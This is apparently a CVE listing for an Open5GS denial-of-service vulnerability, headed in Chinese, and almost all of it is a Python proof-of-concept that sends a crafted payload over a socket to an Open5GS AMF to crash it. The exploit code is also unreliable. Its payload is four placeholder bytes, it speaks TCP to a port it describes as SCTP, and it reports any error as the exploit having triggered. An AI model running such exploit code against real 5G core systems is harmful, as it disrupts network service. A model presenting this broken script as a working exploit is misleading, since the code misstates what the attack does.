CVE-2026-7585 Open5GS 拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7585 (Open5GS DoS) # This script is a conceptual demonstration. # It sends a malformed packet to the AMF NUDM interface. import socket import struct def send_exploit(target_ip, target_port): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malicious payload targeting the vulnerable function # In a real scenario, this would be a specific NGAP or NAS message # triggering the nudm-handler issue. payload = b"\x00\x00\x00\x01" # Example trigger bytes print(f"[*] Sending exploit payload to {target_ip}:{target_port}") s.send(payload) # Wait for response or crash response = s.recv(1024) print("[+] Server responded (might not crash immediately)") except Exception as e: print(f"[-] Exploit triggered or connection error: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target AMF address target = "127.0.0.1" port = 38412 # Example SCTP/HTTP port for Open5GS AMF send_exploit(target, port)